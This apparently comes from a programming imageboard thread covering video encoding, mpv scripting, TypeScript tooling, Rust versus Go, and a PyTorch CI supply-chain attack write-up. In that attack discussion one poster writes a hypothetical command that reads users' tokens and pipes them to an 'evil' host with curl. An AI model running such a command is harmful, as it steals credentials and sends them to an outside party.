host it on hyper-v and use crystaldisk

>>1013562

I mean the realtime RMB/s and WMB/s for every disk

it's displayed quit nicely in atop but somehow people use other shit which is just bad

5 seconds = 1.7G

NAS was a mistake, 80MB/s for y4m over wifi6 is insanely slow

need to copy everything to SSD anyway

>>1013673

nas can only do slow backups and watching videos

hwenc dream is over... if x265 is so good, would rather use av1 because it's swenc anyway, who needs worse coding tools...

maybe it's possible to make videotoolbox work better

>>1013683

quite the difference

I have another idea

>>1013685

https://files.catbox.moe/s4nbq8.mp4

https://files.catbox.moe/u1bina.mp4

can you find worse video without pause?

AB testing!

there's slight glitch at the end, seems to be because of B-frames ordering. dunno how to fix, timestamp issues are horrible to deal with

# vtb
pts_time=0.083333,dts_time=0.083333
pts_time=0.100000,dts_time=0.100000
pts_time=0.116667,dts_time=0.116667
pts_time=0.133333,dts_time=0.133333
pts_time=0.150000,dts_time=0.150000

# x265
pts_time=0.066667,dts_time=0.050000
pts_time=0.150000,dts_time=0.066667
pts_time=0.116667,dts_time=0.083333
pts_time=0.100000,dts_time=0.100000
pts_time=0.133333,dts_time=0.116667

seems like no b-frames in videotoolbox

it's probably not over yet

>>1012689

>>1012702

https://github.com/mpv-player/mpv/blob/master/DOCS/man/console.rst

https://github.com/stax76/awesome-mpv

insanity

https://github.com/po5/thumbfast/blob/master/thumbfast.lua#L109

is this a mvp script hub?

>>1013776

https://github.com/mpv-player/mpv/wiki/User-Scripts

>>1013782

i need more!

what do you guys use

webm.lua is the best and also smart copy paste

>>1014024

>

vscode has profiles now

interesting

I usually just disable plugin if I don't use it often

>

since plugins have godmode on your computer

no access to Documents/Downloads in macos by default

and even better control with tools like fedora toolbox

>

cant change to better default settings or risk breakage for older users, so people gotta hunt down those recommended minimum settings

well said. that's why I prefer minimal configs, to avoid locking myself to outdated workflow

>

helix

>>1014034

it's not the esim, it's just blocked, need to use vpn to register in whatsapp

gosh, this world is so stupid...

amd64/ubuntu via rosetta is 2x slower than arm64/ubuntu in docker

god i hate azure

>>1014154

can't distinguish without pausing tbh

maybe videotoolbox isn't that bad

need to look very closely to hair to notice something

another proof that screenshots are useless, need proper AB testing

>>1014157

yeah

>

Supported for devices with hardware support (the range is the same as Edge) on Windows only. Enabled by default in Nightly and can be enabled via the media.wmf.hevc.enabled pref in about:config. 10-bit or higher colors are not supported.

>>1014024

https://github.com/helix-editor/helix

>

rust

remember when haskell was the hottest thing and everybody had been creating editors and similar software in haskell, just for the sake of it

https://github.com/mpv-player/mpv/issues/13131

need to ask ryan to implement deno-mpv

seems not too hard to embed v8 with typescript and npm and get very nice scripting support

but mujs with es5 is useless

what's worse: potentially bad performance or lack of types

https://github.com/teal-language/tl/blob/master/docs/tutorial.md

typed lua

https://github.com/vim/vim/discussions/12748#:~:text=Lua%20is%20not%20a%20good%20language

oh yeah, I think I don't like Lua at all

>>1014186

>

deno-mpv

wtf, they stole my idea

https://github.com/neoclide/coc.nvim

https://github.com/fannheyward/coc-deno

seems like launches separate process to communicate with the program (neovim)

that argument

>

v8 is too big

is retarded

lua scripting is just too bad... no way except v8. 28mb, so what? not a big deal

well, maybe quickjs is quite ok too, but no one embeds it either

>>1014281

https://github.com/vim-denops/denops.vim

https://github.com/vim-denops/denops-helloworld.vim/blob/main/denops/example-minimal/main.ts

very nice, I like deno now

but deno vs npm fragmentation isn't great

can live with deno imports for simple deps, but complex deps won't probably work

now just need to wait 10 years until neovim, mpv and other programs integrate scripting in good language

>>1014284

https://github.com/vim/vim/issues/4604#issuecomment-507862159

what about plugins in Rust compiled to WASM so don't need to recompile for every platform?

but TypeScript feels nicer for scripting stuff

https://bellard.org/quickjs/Changelog

it's alive

how about deno@quickjs?

>>1014284

https://github.com/ekisu/mpv-webm/blob/master/src/encode.moon looks es6 enough

>>1014297

https://www.reddit.com/r/neovim/comments/e2a63p/comment/f8vpt3u/

nah, it's another coffeescript

received kindle

but I don't have time to read now

>>1014024

why do you encode to vp8 so often? it's even worse than x264

to be compatible with 4chan and hate the libvpx-vp9 speed?

chrome breaks every day for me

cursor on the page stops updating to the content (always the default shape) and I have to restart it to fix

can't believe they pushed such a major bug to production

>>1014354

webm.lua defaults im on team noconfiguration

>>1014367

unpacked kindle. yeah, the firmware is old so I can jailbreak it

but I don't want to right now

and if I connect it to wifi, it will update right away

will read offline for a while...

kindle feels very nice, maybe I will even read something

>>1014422

>

inb4 just one book

>>1014469

whats the problem

>>1014473

I lose interest too quickly

>

Microsoft Edge has a new name on iOS and Android – it’s now called “Microsoft Edge: AI browser.”

https://www.reddit.com/r/uBlockOrigin/comments/14p0bw6/recommendation_for_ios_use/

>

Orion and Brave have the best adblockers for third parties atm. Brave lets you actually have multiple filters without a limit like Adguard for Safari

why would you use browser without ad blocker in 2024

I had to use chrome on ipad because of translate feature and it was horrible

>>1014492

>

Microsoft Edge has a new name on iOS and Android – it’s now called “Microsoft Edge: AI browser.”

I want to buy mx mechanical mini now

tiny Fn keys is a joke

>>1008789 ➡

first impressions are in

- sub syncing seems great now, ffsubsync and subaligner sync em good

- i have the eng subs but didnt find any magic stuff for translating it into mother lang currently thinking i should probably just use chatgpt in smaller pieces and as it makes mistakes correct them. subtitle file alone is not enough context afterall so it'll keep happening

- unfortunately the original sub is not reply marked between speakers but diarization would probably be too much work so maybe its fine

>>1014611

rip korean learning

so great to code with 3 monitors

too bad the 3rd (notebook) is too small

>>1014494

it's 1200€ isn't it

>>1014623

chump change compared to the macbook, and you can use it with multiple macbooks through the years

>>1014624

what macbook, i have to get a pc too

>>1014625

oh right i thought it was only rubber duckie here yeah that sounds a bit hefty in that case, can them oleds really last 5+ years without burn in?

3 screens is not enough, need at least 5

>>1014658

i'm using one right now

wrote only about 600 lines for today (very simple stuff)

I'm not very productive

imagine side channel attack by kindle

imagine it has some hidden sensors like microphone, gps chip, 5g chip

then you go to amazon.com, browser asks for permission to use your microphone

then kindle starts transmitting all information it knows about you by playing high-frequency sound, which you can't hear, but can be recorded by your notebook standing near by and sent to the amazon servers

https://github.com/bellard/quickjs/commits/master/

he's pushing a lot of code

need to train BellardGPT on the way he works, it would be perfect.

https://github.com/jart/cosmopolitan

https://justine.lol/ape.html

>

One day, while studying old code, I found out that it's possible to encode Windows Portable Executable files as a UNIX Sixth Edition shell script, due to the fact that the Thompson Shell didn't use a shebang line. Once I realized it's possible to create a synthesis of the binary formats being used by Unix, Windows, and MacOS, I couldn't resist the temptation of making it a reality, since it means that high-performance native code can be almost as pain-free as web apps.

insanity

but what about AMD64 vs ARM64 ISA nowadays you need arm64 for macos and amd64 for everything else

https://github.com/jart/blink

>>1014611

tested a few more and it wasjust luck afterall.

syncers dont work really well, whether its those waveform watchers or speech recognising ones its all random whether it works out or not. no free lunch

HEVC Main10 works in Telegram

another reason to encode to HEVC

>>1015040

i thought hevc was the evil option with the license fees for hardware makers

>>1015045

not anymore

netflix continued to encode to hevc and browsers wanted to make the streaming work (not sure it's the main reason, but could be one of), so they added hwdec support (not sure if they play roalty fees for that). even firefox added it (experimentally) who was the biggest opponent

but no swdec in any browser as far as I know

>>1015056

only sound in telegram, doesn't work in safari as expected, swdec in chrome... and no hwdec/hwenc for most people

need to wait few years it seems, hevc looks better right now

although if you use firefox or doesn't have hwdec for hevc (still many people) it won't work too. uh it's too complicated... only h264 works everywhere

maybe need to push for av1 because it will become the norm. but the hwenc is too nice to lose

몰라 아 아 아 몰라

>>1015050

maybe vendors have settled that they don't pay fees for hevc hwdec. or very little

even without context problems 3.5 turbo makes kinda yikes errors from time to time when translating though they did mention that themselves somewhere too

also tested 4 turbo and seems better overall, though still has some mistakes

damn acutally turbo 4 is way better on some things 3.5 messed up at

15 cents per episode but maybe its worth it after all that time wasted cleaning up after the stenographers

>>1015104

>

tested 4 turbo

did you buy subscription?

>>1015117

>

15 cents per episode

translating kpop vlogs?

so you get korean text with whisper and then just paste it to gpt4? why not something free like google/deepl?

post some examples

>>1015121

api, found a lil program that automates the process

just some old british telly for me parents

gm204 from gtx970 can only encode hevc 8-bit

>>1015123

try on kpop then

>>1015125

there's an mpv script idea for you

send current loop to whisper for transcribing and display/copy to clipboard the results

>>1015128

you mean like live youtube subs? sounds interesting

not sure if I want to pay for that api tho

btw, what's better, youtube auto subs or whisper?

also probably should just learn korean instead

>>1015139

u can host whisper on a regular computer https://github.com/ggerganov/whisper.cpp

i use online whispers sometimes when really want to know what was said but need to clip it and make mp3 and upload, be much nicer with an mpv script that does that for you

>>1015141

oh, I didn't know it's open source

that AI stuff is developing too quickly, I'm lacking behind

>

when really want to know what was said

like when?

how come ggerganov is so cool

>>1014835

https://github.com/ggerganov/kbd-audio

tired again after few hours of coding

I even walked today but didn't help

>>1015294

seems normal

>>1015309

Carmack said he can code all day long

>

FIXME: this is a bit of a mess. We should probably have a class for this.

copilot recommended me this comment

>>1015346

copilot is kinda useless but still necessary because it would be annoying to not have it hit us up if you find an alternative

>>1015391

it helps a lot when you write boilerplate code

but hardly helps when you do serious refactoring, need to edit everything by hand

>>1015392

and then you wonder for 15 minutes why something isnt working properly because it used some hardcoded value instead of parameter i dont want to pay for this at least you dont need to pay for it

>>1015393

oh yeah, we are the point when AI advices are useful enough to be used in some cases, but because we're lazy we overtrust it and accept shitty output without checking

not sure what're the consequences of global exposure to ChatGPT in near terms...

https://github.com/TabbyML/tabby

gonna try this according to doc it might work with apple silicon no need for nmidia

>>1015409

what macbook do you have? 빨리 대답!

>>1015403

fn keys sound very different from apples then? that sounds annoying

also emoji button :D does it support smiles

also no globe key to enjoy?

>>1015411

mini

>>1015415

emoji = open emoji window, it's mapped to fn=globe on macbook by default

but you don't have globe on logi, yeah, so hotkeys like globe+f (for fullscreen) won't work

overall it's nice typing experience, but button layout isn't ideal for macos

>>1015416

what configuration?

although apple's keyboard is lightning and I don't want to buy device with outdated connector... also need to charge more often

huh, maybe I can adapt to logi... can buy once apple releases usb-c version maybe

I found a bug in project which left unnoticed for 4 years

that's why you use type checking

>>1015393

>

and then you wonder for 15 minutes why something isnt working properly because it used some hardcoded value instead of parameter

you're goddamn right

I'm also afraid to use it when working with important code because I would rather it carefully by myself, then would spend hours trying to debug later

but zoomers seems have no problem with it. they just copy&paste&tab all the time and have no fear

"scripts": {"script": "a && b"}

time npm run script = 0.5s

"scripts": {"script": "npm run a && npm run b", "a": "a", "b": "b"}

time npm run script = 1s

dumb npm devs can't make even the simplest shit fast, on fast computer

time npm run nonexist takes 200ms

meanwhile esbuild: I'm done boss, took just 2ms

https://github.com/bellard/quickjs/commit/3f81070e573e3592728dbbbd04c84c498b20d6dc

JS is saved

how to combine tsc --watch and esbuild --watch in a single terminal tab

I've come with a & and killall solution for second process but it feels fragile... might kill someone else's esbuild

>>1015520

maybe can use rollup/vite or tsc-watch, but dunno, why overcomplicate, esbuild seems nice enough

>>1015520

>

killall

maybe get the pid and just kill that

$! is the last background process's pid if that helps

>>1015526

yeah, I was thinking about that too

maybe can also use swc

% npm i -D @swc/cli @swc/core

added 125 packages

>>1015526

esbuild build/index.js --bundle --outfile=out.js --target=es5 --watch=forever & trap 'kill $!' SIGINT && tsc --watch

works perfect

and typescript+esbuild is just 3 packages

I defeated the evil node_modules, take that sindresorhus

>>1015584

>

typescript in comments

nah, that would be messy

they will just define "optional type annotations" in new ES standard (without type enforcing) to be compatible with TypeScript

just like mypy works

also dhh is fucking moron

https://github.com/oven-sh/bun

>

Zig

>>1015590

nah, kleinebruder is our biggest defense against big js

not that messy, its the same stuff just each within /* */

>>1015597

>

not that messy, its the same stuff just each within / /

people were writing jsdoc decades ago and it was bad

facebook's flow does support that feature btw https://flow.org/en/docs/types/comments/

but nobody uses that because it sucks

defining different typescript configs for src/ and test/ is tiresome

node --enable-source-maps to fix stack traces

why can't iphones etc smartphones remember the sim card's pin number?

all the fancy secure enclaves and tpms whatnot and you still have to enter pin after every boot what's up with that, they left that annoyance just to push people into adopting esim?

>>1015756

>

and you still have to enter pin after every boot

I don't enter it

maybe you set it before

>>1015761

i mean you can disable pin and then if your phone gets stolen it can be used to prop up the phone bill.

but if you do have a pin set why can't the phone remember it?

but if you think about it, it's very insecure because many services are 1FA (bound to your phone number by sending SMS with code to reset password)

so if someone stole your phone they can login into many websites

now you made me worry. I need to setup my main SIM as ESIM too, but my iphone doesn't support 2 simultaneous ESIMs unfortunately. need to buy a new one

>>1015762

ah, you mean remember pin in one specific phone, but it won't let you use SIM services until you login with passcode. interesting idea

someone actually found my hidden project

>>1015765

>

bound to your phone number by sending SMS with code to reset password

that too

found another bug because of lack of typing

now I don't have any idea how could I program in typeless python, javascript, bash for years, without much issues

probably "run-oops error-fix-run again" dev loops wasn't so annoying back when you didn't have typed scripting solution anyway

>>1015767

but I already switched to another

what do

>>1015391

>>1015392

it can write polyfills for ES5 very nicely

what if go is actually amazing and im just dumb

a million flies cant be wrong

>>1015873

go is one of the worst languages people write code in, comparable to ES<=5 and Java

rust is millions times better but because google has power to push its shitty language, we can't have nice things

thankfully people are smart enough to notice that rust is still good

they also want to push for Carbon, another shitty language by Google

they just can't create good stuff

Dart: shit

Go: shit

Carbon: shit

even Apple created nice Swift and Microsoft created TypeScript and Mozilla created Rust

but Google devs are just incompetent retards

although I still can't decide between modern C++ and Rust

they pushed tons of features into C++ and because it's 100% compatible with all previous code you don't need to rewrite anything and don't need to write bindings

just dunno what's better

>>1015877

but gopeopel write the most amazing things

all the cool stuff like charm, caddy, sqlc, pocketbase are in goworld, rust has few other than option and enum types, serde and clap

>>1015893

>

charm, caddy, sqlc, pocketbase

never heard of those

but heard about serde and clap

>

Carbon is guaranteed to get some short term traction just like Dart did and Go did because Google is a behemoth. Rust however already has penetration at other large corps, and I think it's unlikely Carbon achieves equivalent memory safety.

>

I totally agree with your assessment on this. Dart showed us that Google does not know how to scale a programming language.

from carbon subreddit

>

Why Rust is Stopping Your Success. Use C++ and C# Instead.

writing a lot of new simple code in rust must be pain tho

in typescript I can hack my stuff around with as any and make it work, then refactor later

in rust I would have to fight the compiler for hours, thinking about nice abstractions and types

>

If you are willing to make liberal use of clone and only optimize tight loops you can mostly ignore the borrow checker and move very fast

why people write user scripts for mpv in lua and js if Rust is so simple

what's the point of videos like "what's the best way to X" on youtube

there're tons of videos like that for every topic, do they imply you have to watch them all to collect all the "best advices"?

>>1015908

try googling for “best X”

>>1015904

no build step #teamdhh

>>1015911

oh, it was even worse actually, the "watch this before X" bait video

stupid shills

>>1015912

what's the difference between serving JS file from filesystem via HTTP and stripping types on the fly + serving via HTTP (with something like esbuild)

parse AST and strip types for a typical file would take less than 1ms, so that argument by DHH is stupid

>>1015922

although you can't load mpv script via HTTP

>

I've participated in several Hydrogen Audio ABX tests and I also ABX'ed a lot for myself. As listening tests confirmed, there's no doubt that Apple AAC is clearly the best AAC encoder regarding quality at a specific bitrate.

but what's better, VBR or CVBR

>>1015878

why are people so into camelcase

isn't snek case way easier to read or is it just my dumb eyes

>>1015964

I like snake a bit more because things like isHttpId vs isHTTPID are tricky to handle consistently, but otherwise both are ok

https://developer.mozilla.org/en-US/plus/ai-help

10 years ago I was anxious because I was though my vimrc isn't big enough so I'm not very productive

5 years ago I was anxious because I though my JS framework isn't fresh enough

now I'm anxious because I'm afraid I don't use enough AI assistants

https://johnstawinski.com/2024/01/11/playing-with-fire-how-we-executed-a-critical-supply-chain-attack-on-pytorch/ scary world out there

>

Our exploit path resulted in the ability to upload malicious PyTorch releases to GitHub, upload releases to AWS, potentially add code to the main repository branch, backdoor PyTorch dependencies

I think you shouldn't be able to modify CI script as a complete stranger who just forked the repo

of course if you can ran arbitrary code, you would be able to leak secrets

>

Travis associates an RSA key pair with each repository. The string after secure: is your value encrypted with the public key. To decrypt it, one needs the corresponding private key which is only available to Travis.

>

If someone forks your repository, they won’t be able to decrypt the secret values because that would be a different repository, with a different key pair.

so in travis, your tokens are decrypted only if someone has push access to the repo

I dunno what those pytroch people messed up

>

When a workflow uses the actions/checkout step, the GITHUB_TOKEN is stored in the .git/config file of the checked-out repository on the self-hosted runner during an active workflow

so the problem was the lack of sandboxing between different users of build machine?

imagine if you could cat /home/*/tokens | curl http://evil in your travis script and dump tokens from all other travis users

>

August 9th, 2023 – Report submitted to Meta bug bounty

>

December 15th, 2023 – Meta awarded a $5000 bounty, plus 10% due to the delay in payout.

imagine waiting so long for fucking $5k

https://hinative.com/questions/1052107

>

맏 means firstborn

>>1016020

It's not a real word, and there's a good reason why it and other monstrosities like 맏막즈 didn't make it into Korean v1.0.

>>1016020

I can't hear a fucking difference

[망내] vs [만내]

class A {
    constructor() {
        this.set();
    }
    set() {}
}
class B {
    index = 0;
    set() {
        this.index = 1;
    }
}

console.log((new B()).index);

what do you think the result should be?

spent 15 minutes on this

>>1016041

oh it's B extends A

>>1016020

the one on the right is a bit sekshie

>>1016039

the way she speaks is very weird

>>1015424

I still want to buy it, can't control myself

I badly need the good F12

>>1015415

>

also emoji button :D does it support smiles

feature for cutechan: open smile dialog with emoji key

>>1016095

cartoon character?

>>1016150

yeah

I prefer the baka japanese one who doesn't know Korean well

>

`^´ (exponentiation)

dumbest language ever...

>>1016370

qrd on node's result? what operator is ^ other than exponent

>>1016376

it's XOR in any sane language

>>1016378

really? damn, i guess theres some mystery history there

>>1016379

logic programming took presedence over maths huh, they found the smallest V up in the keyboard and used that

program wants the length of UTF-8 bytestring but I only have Unicode symbols in JS

> str.length + encodeURIComponent(str).match(/%[89ABab]/g).length
> '세모콘'.length + encodeURIComponent('세모콘').match(/%[89ABab]/g).length
6

but what if terminal non-utf8? 끝났어

https://stackoverflow.com/a/23329386

>

Here is a much faster version, which doesn't use regular expressions, nor encodeURIComponent()

% node -e 'console.log("세모콘".length)'
3
% lua -e 'print(string.len("세모콘"))'
9

jsbros, we kneel

>>1016479

i've written code like

while filename.bytes().len() > max_bytes {
    filename = filename.chars().take(filename.chars().count() - 1).collect();
}

to fit within some encrypted filename length limit utf-8 to difficult for me dumb

fucking stupid SWC, it keeps looking into tsconfig even tho I don't want that

SWC_NODE_PROJECT= node ... works

working on GUI kills all motivation

in 2024 you still need to compile your typescript src/ into javascript lib/, like people had been doing 15 years ago with coffeescript

deno please save us

but I think they will just add typescript annotations to next ES standard soon

>

Deno Third Party Modules

>

deno.land/x is a hosting service for Deno scripts. It caches releases of open-source modules stored on GitHub and serves them at an easy-to-remember domain.

fuck, it's so much simpler than that stupid npm shit

I guess you just add link to your github there once and that's it, you just need to push tag on github to keep it updated

no compilation, no fucking stupid npm publish, everything just works

node was a mistake

https://docs.deno.com/runtime/manual/tools/bundler

>

esbuild

>

can't downlevel ES

>

rollup

>

slow and stupid

>

deno_emit

>

build your own bundler

welp, I guess it's still node for now

>

If you use a syntax feature that esbuild doesn't yet have support for transforming to your current language target, esbuild will generate an error where the unsupported syntax is used. This is often the case when targeting the es5 language version, for example, since esbuild only supports transforming most newer JavaScript syntax features to es6.

oh, the happiness was so close stupid es5

https://news.ycombinator.com/item?id=29238735

>

What I do is run esbuild and tsc (with no emit) in parallel in watch mode.

stole my idea

>

swc does transpilation and it's as fast as esbuild

https://deno.land/x/swc@0.2.1

stop, I probably still can try deno with swc

>

2 years ago

nah, it's dead

rip deno, that was your last chance

>>1016684

https://github.com/noyobo/esbuild-plugin-es5

one more chance

this doesn't look very supported tho

>>1016687

https://github.com/noyobo/esbuild-plugin-es5/blob/main/src/index.ts

but the code is very small and simple

so it seems like it's possible to use deno to bundle TS to ES5

maybe try later

>>1016688

https://caniuse.com/?search=es6 need ie support then?

>>1016700

mujs is only es5

>>1016712

that feature was announced few years ago tho

ELI5 on reddit is just an excuse to be lazy

https://github.com/jaseg/python-mpv

be cool to see what people have made with this

>>1016859

mypy is worse than typescript tho

procrastination: instead of reading on kindle I'm writing tons of code

win-win situation, money well spent

touch .file works

touch ..file also works

>>1017061

you can touch . and .. too

>>1017094

I mean I've never seen a file with two initial dots before, but should work just fine

nobody uses them for some reason

>>1017095

supposedly filenames allow all sorts of gobbledigook so std::path is kinda awkward to use but for the casual utf-8 stuff there's camino

>>1016956

can you call that controlled procrastination?

step1: you're lazy and unproductive

step2: start doing something you really hate but still consider as necessary, push for it

step3: you hate it so much that you would rather do everything else imaginable

step4: now you not so lazy anymore

>>1017204

type A = { k1: string; k2: string } works

for some reason interface isn't compatible with indexed type although what else could it be in JS if not object

I've found a project which is 10x more advanced than mine because written by super-productive Chinese (but messy)

https://old.reddit.com/r/golang/comments/18sncxt/go_nil_panic_and_the_billion_dollar_mistake/

>>1015590

>>1016645

https://github.com/tc39/proposal-type-annotations

stage 1

2002 Javascript 2.0: Evolving a Language for Evolving Systems

2006 Type parameters, Type System and Structural Types and typing of initializers

2011 Dependent Types for Javascript (pdf)

2011 Guards and Trademarks

2014 TC39 Discussion on Types: adding syntax without semantics.

2015 ES8 gradual typing and part2 and ecmascript-types.

damn, that's a lot of history

>

the support team is very confused because there hasn't been a code change in weeks (so nothing to roll back to)

>

using a pointer field without a nil check

>

But the Kotlin guys were very fast to point out that this would never happen in a Kotlin or JVM app

I can't believe Google could push such a shitty lang and people fell into it. pike is a huge moron who doesn't know shit about type theory, stuck in the past...

my mistake of even writing some code in it, I helped to made world worse too. forgive me Jesus

>>1015584

>>1015597

>>1015601

https://www.typescriptlang.org/docs/handbook/type-checking-javascript-files.html

jsdoc works in typescript btw

https://github.com/biomejs/biome

so many stuff in rust for js these days

and nice guy ryan went with rust too

so go is like the new python, for the web/scripts stuff only. and rust for the real work like C (even in linux kernel)

too bad rust dependency tree now looks like npm too well, if you install binaries it doesn't matter, but still worrisome

it's a weird world if you think about it

smart guys (creators of hardware → kernels → programming languages → core tools → core libraries → frameworks) work really hard to make their stuff as fast as they can and allow higher abstractions to run fast enough

at the very low end are idiots like sindresorhus who abuse the stack and ruin the performance just because they want to be lazy or "creative"

can we program in higher abstractions and still avoid the npm destiny?

>>1017348

>

sindresorhus

whomstve

google says it some person who makes a ton of funny lookin mac traybar applications

>>1017370

he advocated for 1-line npm deps so that's why we have that node_modules mess today

very successful at pushing harmful practices, just like php and go

Bellard is not using SJW's main name for the default branch

quickjs is safu

that fork stuff is weird tho. why couldn't he just make quickjs the next ffmpeg or qemu, by allowing people to commit

maybe it's too early stage yet so he wants to modify a lot of stuff by himself

why is that fucking copilot extensions updates several types per day

does chatgpt write it by itself and can't stop pushing???

>>1017187

tired of coding already

that's because I did all the nice things and now I have to do the awful things (the UI)

I would rather read books than coding UI

class A_v1 {
  apiMethod() {
    return 1;
  }
}
class A_v2 {
  random() {
    return 2;
  }
  apiMethod() {
    return this.random();
  }
}
class B extends A_v2 {
  random() {
    return 12345;
  }
}
const b = new B();
console.log(b.apiMethod());

the fuck is wrong with OOP

say you extended a class and then added some random useful method

then in next version of library class which you extend then added method with the same name

so you now broken everything and no type checking can protect you from that

need to use interfaces instead

probably inheritance isn't worth it at all

if there's small amount of code, you can copy-paste methods

if it's huge amount of code, you will 100% break things while changing base class

stupid stupid OOP

>

In scenarios where you are extending classes from an external library and there's a risk of method name conflicts in future versions, one approach to mitigate this is by using composition instead of inheritance.

chatgpt answer

>

In this example, the B class is a proxy that dynamically delegates method calls to the A_v2 instance. This way, you don't need to manually create wrappers for each method in A_v2, and any changes to the underlying A_v2 class won't affect the B class as long as the public API remains consistent.

AI is actually smart

https://www.typescriptlang.org/docs/handbook/2/classes.html#parameter-properties

>>1017841

public static void main

the mystery keywords that make no sense until much much later

>>1017842

I wrote too many public and found later that they aren't necessary (the default)

how to stop caring about such minor things

>>1017842

it's great that you can import garbage code into typescript, then improve types gradually and nothing will break while you refactor

imagine trying to refactor garbage code without types tho people used unit tests for that in the past, but that's a bit tiresome. I want unit tests only for pure functions where I need what's the output should be, not random mutable mess, spending hours mocking that

all because typescript was designed by a genius

imagine if he was designing language for google instead of retarded pike

>>1017906

>

it's not v0 since you tried that already

I'm not doing UI for the web, but for the app

also I was too lazy to even try the v0 once I granted the access lol

>

maybe just a box with a command palette would be sufficient

post some images, not sure I understand what you're talking about

also the huge problem is to make it user friendly. I'm usually fine with cmdline but if you want your app to be usable by random person you have to make it similar to all other apps. and designing app in that style is too hard... I can't do things without proper objective metric (like drawing)

maybe I'm an AI

>>1017917

>

post some images, not sure I understand what you're talking about

like how in vscode you don't need to find a button or go through some hierarchical menus to find stuff like open file, format document or some extension command. just write it in the fuzzy search command palette.

though if you just want a gui version of cli i guess you could use https://github.com/chriskiehl/Gooey

>>1017938

>

like how in vscode

oh, I get it. but still, there're a lot of buttons/design in vscode. also a config

although maybe that's a way do hide many advanced options

>

Gooey

wxpython

tbh I don't like that pyqt/qt thing much, I want the native stuff. qt/electron usually work bad

they even rewrote telegram to swift on macos, even tho they had perfectly functional telegram destkop in qt (c++). tells you a lot about qt

how is it so fast on huge projects with tons of type declarations if typescript runs on JS runtime tho

V8 JIT can't be that cool, right?

https://github.com/dudykr/stc

https://github.com/kdy1

korean

>>1018094

https://deno.com/blog/v1#tsc-bottleneck

>

Internally Deno uses Microsoft’s TypeScript compiler to check types and produce JavaScript. Compared to the time it takes V8 to parse JavaScript, it is very slow. Early on in the project we had hoped that “V8 Snapshots” would provide significant improvements here. Snapshots have certainly helped but it’s still unsatisfyingly slow. We certainly think there are improvements that can be done here on top of the existing TypeScript compiler, but it’s clear to us that ultimately the type checking needs to be implemented in Rust.

maybe it's fast only on fast computers

https://github.com/microsoft/TypeScript/blob/main/src/compiler/checker.ts

>

2.83 MB

>

51K lines

https://jyn.dev/2024/01/16/the-rust-project-has-a-burnout-problem.html

>>1018110

>

Developers got stuck in "synchronous is slow" when they should have embraced "threads should be cheap".

>

So instead they reinvented really awful "cheap threads" without any understanding of what they were doing.

>

CEO @ZivergeTech, OSS contributor @zioscala, speaker, writer. Building the future of cloud computing @GolemCloud.

that idiot has to idea he's talking about. I bet he's never looked in the kernel source once

>

scala

>

jvm

oh very very high performance, yeah, cool story lilbro

I think he meant N:M model like in go/erlang

but you can have async API mapped to OS threads in modern languages like rust

he just doesn't know anything

https://tokio.rs/blog/2020-04-preemption

>

A common solution to this problem is preemption. With normal OS threads, the kernel will interrupt execution every so often in order to ensure fair scheduling of all threads. Runtimes that have full control over execution (Go, Erlang, etc.) will also use preemption to ensure fair scheduling of tasks. This is accomplished by injecting yield points — code which checks if the task has been executing for long enough and yields back to the scheduler if so — at compile-time. Unfortunately, Tokio is not able to use this technique as Rust's async generators do not provide any mechanism for executors (like Tokio) to inject such yield points.

>

Languages with "green threads" like Go and Erlang implicitly modifies all code to periodically call into the scheduler, and ask if it needs to pause for a bit while something else runs. This solves the blocking problem, but creates other issues: since there is a scheduler always behind your back, it creates CPU overhead. A language with a scheduler cannot be called into from other languages (which is why there is no such thing as a cross-language library written in Go, only C/C++/Rust). And if you call into something else (e.g. a C or Rust library) you run into blocking issues all over again.

oh, I got it now

although

>

To account for this, Tokio has explicit yield points in a number of library functions, which force tasks to return to the executor periodically.

but in go it's a bit better yeah

>

The spawn_blocking function can be used to "asyncify" these sorts of tasks by running them on a thread pool where blocking is allowed.

>

This function runs the provided closure on a thread dedicated to blocking operations.

>

Tokio will spawn more blocking threads when they are requested through this function until the upper limit configured on the Builder is reached. After reaching the upper limit, the tasks are put in a queue.

such a hack

>

The most common follow-up question I've received after this is "doesn't the Go scheduler automatically detect blocked tasks?". The short answer is: no. Doing so would result in the same stuttering problems as mentioned above. Also, Go has no need to have generalized blocked task detection because Go is able to preempt.

>

Rust's async generators do not provide any mechanism for executors (like Tokio) to inject such yield points.

so the problem is in rust compiler?

well, in rust you have control over async anyway (can spawn_blocking to preempt). in go it's all automatic so can be wrong in some cases

so you can't say "async is bad"

>

For example, the pure aspects of the browser cryptography api are async, for example the encrypt function. This forces us to make our function async and propagate that up.

oh yeah, that's a real pain. simple encryption routines shouldn't be async

>>1018180

but in rust you can always convert async into sync:

async fn example() -> i32 {
    42
}
fn main() {
    let v = executor::block_on(example());
    println!("{}", v);
}

so there's little downside if at some point in time you decide that async was a mistake

>

In most Rust code, both iterators and async state machines as well as their variables do not escape to the heap. Everything just opens subscopes in the stack.

>

If you still await most async calls the standard way, it's still far more efficient with a lot less spawned tasks and no unnecessary heap usage in the background.

>

But about Java, again, I am reading that it's still using the heap. And I believe the same must be true for Go as well.

also very efficient usage of the memory and stack

you can also say: all that effort into Go only for it to be a mistake (wrote all stuff in Go because implicit async looked nice and regret that later)

>>1018190

im webshitter so idk anything about 0.3 vs 17 μs. colored functions are indeed sad tho, plus of course rust async type signatures

luckily people are building simpler to use languages for dumbos like me on top of rust, maybe the future is yet to come https://gleam.run/ https://www.roc-lang.org/

>>1018346

gleam is on top of evm tho. there's also elixir, but I like that they added typing at least (is it any good tho? python is also typed with mypy, but it's too dumb)

roc ← why would you need to build something on top of rust. it's like the history of CoffeeScript, LiveScript, MoonScript and dozens of other stupid languages didn't teach people anything (well, it makes sense for a creator, to become better programmer. but people who're actually using that are too )

>

async type signatures

if you don't distinguish async functions, then you wouldn't be able to dispatch cooperative/preemptive type of tasks differently, like in go. it's probably fast enough for most people tho, that's why it's so successful

but go is disgusting language by design, so makes no sense to use it at all

>>1018361

gleam's compiler (for evm) is written in rust, but it's not related to rust at all

roc is completely new language, not related to rust at all too (just have compiler in rust)

dunno why would you use both of them. erlang was a thing in 2000-2010, but now it's basically obsolete. elixir was a nice attempt but didn't change much

roc is

>>1018361

coffeescript basically made es6 tho

>>1018367

where did you get that info from?

>>1018365

I also hate Zig btw. just wasting community effort instead of working on Rust

>>1018368

neomuwiki https://en.wikipedia.org/wiki/CoffeeScript

coffeescript was just fancy lamda functions with the same sig, return last value, avoid bind self memetics copied as is into es6 plus some python stuff to show that its possible to offer the same comforts in javascript like multiline strings, interpolation etc

>>1018361

i guess rust enums are pretty fun for building compilers, self hosting is overrated

